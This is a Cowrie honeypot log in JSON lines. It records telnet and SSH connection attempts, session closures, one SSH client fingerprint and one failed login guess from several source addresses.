{"eventid":"cowrie.session.closed","duration":37.359188079833984,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.351606Z","src_ip":"144.79.218.12","session":"d3929604ea21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.240406036376953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.363912Z","src_ip":"185.15.23.59","session":"75abc73c1417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3315155153","protocol":"telnet","message":"New connection: 69.6.225.50:51750 (159.203.135.109:23) [session: 4f3315155153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:37.144783Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48832,"dst_ip":"10.17.0.5","dst_port":23,"session":"636389820e1a","protocol":"telnet","message":"New connection: 144.79.218.12:48832 (10.17.0.5:23) [session: 636389820e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:37.484223Z"}
{"eventid":"cowrie.session.closed","duration":31.308250188827515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:37.820054Z","src_ip":"185.15.23.59","session":"3aaab3885309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e9634dc8f8","protocol":"telnet","message":"New connection: 144.79.218.12:48816 (10.17.0.5:23) [session: d0e9634dc8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:38.007856Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b097926b4e8","protocol":"telnet","message":"New connection: 144.79.218.12:48844 (10.17.0.5:23) [session: 3b097926b4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:38.121990Z"}
{"eventid":"cowrie.session.closed","duration":30.508265256881714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:38.191134Z","src_ip":"185.15.23.59","session":"565f2dd1a7c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41700,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e534d8f7397","protocol":"telnet","message":"New connection: 69.6.225.50:41700 (159.203.135.109:23) [session: 2e534d8f7397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:38.244169Z"}
{"eventid":"cowrie.session.closed","duration":30.509394884109497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:38.306205Z","src_ip":"185.15.23.59","session":"26bab69cf82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72165322303772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:39.162048Z","src_ip":"185.15.23.59","session":"1004db0fdb2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed79fcb232b","protocol":"telnet","message":"New connection: 144.79.218.12:56458 (10.17.0.5:23) [session: 8ed79fcb232b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:39.206572Z"}
{"eventid":"cowrie.session.closed","duration":31.175174713134766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:39.449711Z","src_ip":"185.15.23.59","session":"1ae12852d3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":54034,"dst_ip":"159.203.135.109","dst_port":23,"session":"6034f1570752","protocol":"telnet","message":"New connection: 185.15.23.59:54034 (159.203.135.109:23) [session: 6034f1570752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:39.727460Z"}
{"eventid":"cowrie.session.closed","duration":31.49593186378479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:39.902175Z","src_ip":"185.15.23.59","session":"e424d82db521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":54734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fe8deda6fa","protocol":"telnet","message":"New connection: 185.15.23.59:54734 (159.203.135.109:23) [session: c0fe8deda6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:40.006041Z"}
{"eventid":"cowrie.session.closed","duration":30.197643756866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:40.054849Z","src_ip":"69.6.225.50","session":"20ef981f8831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":43576,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3681165b2e","protocol":"telnet","message":"New connection: 102.133.227.168:43576 (159.203.135.109:23) [session: 7c3681165b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:40.559862Z"}
{"eventid":"cowrie.session.closed","duration":31.220222234725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:40.892654Z","src_ip":"185.15.23.59","session":"d7ba098035d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57274,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ab90ba4782","protocol":"telnet","message":"New connection: 185.15.23.59:57274 (159.203.135.109:23) [session: b7ab90ba4782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.117105Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57640,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccab61081cc5","protocol":"telnet","message":"New connection: 185.15.23.59:57640 (159.203.135.109:23) [session: ccab61081cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.369914Z"}
{"eventid":"cowrie.session.closed","duration":30.989086627960205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.491797Z","src_ip":"102.133.227.168","session":"7605489ce8da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26450204849243,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.720086Z","src_ip":"144.79.218.12","session":"b422f8b15a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17238473892212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.796314Z","src_ip":"185.15.23.59","session":"93a4d4c9dc73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67754578590393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:41.988621Z","src_ip":"185.15.23.59","session":"b397fc783458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.351820707321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:42.266533Z","src_ip":"185.15.23.59","session":"512414e9b07d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70131206512451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:42.637562Z","src_ip":"185.15.23.59","session":"3a73d9257203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137661933898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.059447Z","src_ip":"69.6.225.50","session":"9e07ea592ccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789196968078613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.121813Z","src_ip":"185.15.23.59","session":"b35d82df1ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99727702140808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.314438Z","src_ip":"185.15.23.59","session":"3155dc35b818","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34130,"dst_ip":"159.203.135.109","dst_port":23,"session":"02cb324087c8","protocol":"telnet","message":"New connection: 185.15.23.59:34130 (159.203.135.109:23) [session: 02cb324087c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.439506Z"}
{"eventid":"cowrie.session.closed","duration":31.507243156433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.456439Z","src_ip":"185.15.23.59","session":"c276eb192a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"436724b0828d","protocol":"ssh","message":"New connection: 159.203.92.129:58000 (159.203.135.109:22) [session: 436724b0828d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.535423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.546286Z","src_ip":"159.203.92.129","session":"436724b0828d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.551527Z","src_ip":"159.203.92.129","session":"436724b0828d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alberto","password":"alberto","message":"login attempt [alberto/alberto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:43.564680Z","src_ip":"159.203.92.129","session":"436724b0828d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70999240875244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.090685Z","src_ip":"185.15.23.59","session":"f0ca795d5841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588671445846558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.137822Z","src_ip":"102.133.227.168","session":"96ceee6cdff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.258137941360474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.180480Z","src_ip":"185.15.23.59","session":"65e0f8e42f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28989291191101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.269015Z","src_ip":"185.15.23.59","session":"0071ee59400d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86071467399597,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.348442Z","src_ip":"144.79.218.12","session":"46842cbc2f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76568031311035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.400748Z","src_ip":"144.79.218.12","session":"b4da336f7d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839127779006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.445374Z","src_ip":"102.133.227.168","session":"f43046abf093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:44.571921Z","src_ip":"159.203.92.129","session":"436724b0828d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.515156030654907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:45.149257Z","src_ip":"185.15.23.59","session":"8faaa5a71e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496097803115845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:45.334286Z","src_ip":"185.15.23.59","session":"867244633075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610365390777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:46.059006Z","src_ip":"69.6.225.50","session":"487eea8f7ccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04233431816101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:46.065476Z","src_ip":"69.6.225.50","session":"c43f05b35ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":45230,"dst_ip":"159.203.135.109","dst_port":23,"session":"19da57f8a554","protocol":"telnet","message":"New connection: 102.133.227.168:45230 (159.203.135.109:23) [session: 19da57f8a554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:46.158624Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42504,"dst_ip":"159.203.135.109","dst_port":23,"session":"72fe5ed84339","protocol":"telnet","message":"New connection: 185.15.23.59:42504 (159.203.135.109:23) [session: 72fe5ed84339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:46.894673Z"}
{"eventid":"cowrie.session.closed","duration":31.062360763549805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:47.066493Z","src_ip":"185.15.23.59","session":"688a87781378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41712,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ce8a96608d","protocol":"telnet","message":"New connection: 69.6.225.50:41712 (159.203.135.109:23) [session: 60ce8a96608d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:47.655559Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45256,"dst_ip":"159.203.135.109","dst_port":23,"session":"23fd901ab122","protocol":"telnet","message":"New connection: 185.15.23.59:45256 (159.203.135.109:23) [session: 23fd901ab122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:48.002998Z"}
{"eventid":"cowrie.session.closed","duration":31.00654411315918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:48.242577Z","src_ip":"185.15.23.59","session":"d780dd997285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e831321aeb","protocol":"telnet","message":"New connection: 144.79.218.12:56468 (10.17.0.5:23) [session: 19e831321aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:48.320024Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45918,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d1a1b55a912","protocol":"telnet","message":"New connection: 185.15.23.59:45918 (159.203.135.109:23) [session: 9d1a1b55a912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:48.341982Z"}
{"eventid":"cowrie.session.closed","duration":31.2580668926239,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:48.994742Z","src_ip":"185.15.23.59","session":"4ce760964d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.589582443237305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:49.216642Z","src_ip":"185.15.23.59","session":"53d485286bf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27335548400879,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:49.298966Z","src_ip":"185.15.23.59","session":"1a15941678b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57290,"dst_ip":"159.203.135.109","dst_port":23,"session":"347450905ce4","protocol":"telnet","message":"New connection: 69.6.225.50:57290 (159.203.135.109:23) [session: 347450905ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:49.889390Z"}
{"eventid":"cowrie.session.closed","duration":31.580775260925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:49.906258Z","src_ip":"185.15.23.59","session":"adf2fa75e220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab62d90fc4cc","protocol":"telnet","message":"New connection: 144.79.218.12:48366 (10.17.0.5:23) [session: ab62d90fc4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:49.928417Z"}
{"eventid":"cowrie.session.closed","duration":31.347047567367554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:50.032965Z","src_ip":"185.15.23.59","session":"93665d302deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83252763748169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:50.209793Z","src_ip":"185.15.23.59","session":"246a9eda01e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55835461616516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:50.440743Z","src_ip":"185.15.23.59","session":"bd14dfe4f202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999728202819824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:51.087141Z","src_ip":"185.15.23.59","session":"de56bd411c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53294,"dst_ip":"159.203.135.109","dst_port":23,"session":"b98a92b8046a","protocol":"telnet","message":"New connection: 185.15.23.59:53294 (159.203.135.109:23) [session: b98a92b8046a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:51.107963Z"}
{"eventid":"cowrie.session.closed","duration":31.18065357208252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:51.279345Z","src_ip":"69.6.225.50","session":"15e64c1a284d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53772,"dst_ip":"159.203.135.109","dst_port":23,"session":"a248e64700c0","protocol":"telnet","message":"New connection: 185.15.23.59:53772 (159.203.135.109:23) [session: a248e64700c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:51.441572Z"}
{"eventid":"cowrie.session.closed","duration":31.3641459941864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:52.350445Z","src_ip":"185.15.23.59","session":"3a090a2de09b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625757217407227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:52.500102Z","src_ip":"185.15.23.59","session":"255cbc9422b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736452102661133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.202747Z","src_ip":"185.15.23.59","session":"da6ea1281a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594303846359253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.338146Z","src_ip":"185.15.23.59","session":"2d0800ea11ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57304,"dst_ip":"159.203.135.109","dst_port":23,"session":"31419504cea3","protocol":"telnet","message":"New connection: 69.6.225.50:57304 (159.203.135.109:23) [session: 31419504cea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.367004Z"}
{"eventid":"cowrie.session.closed","duration":30.99662709236145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.658722Z","src_ip":"185.15.23.59","session":"9d56e41e2af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73184084892273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.751373Z","src_ip":"185.15.23.59","session":"23aee8a97ebb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48370,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e6700102a2","protocol":"telnet","message":"New connection: 144.79.218.12:48370 (10.17.0.5:23) [session: 73e6700102a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:53.800760Z"}
{"eventid":"cowrie.session.closed","duration":31.959250926971436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.050085Z","src_ip":"185.15.23.59","session":"cebe73e9b998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03453612327576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.136676Z","src_ip":"144.79.218.12","session":"ca237b7f7600","protocol":"telnet"}
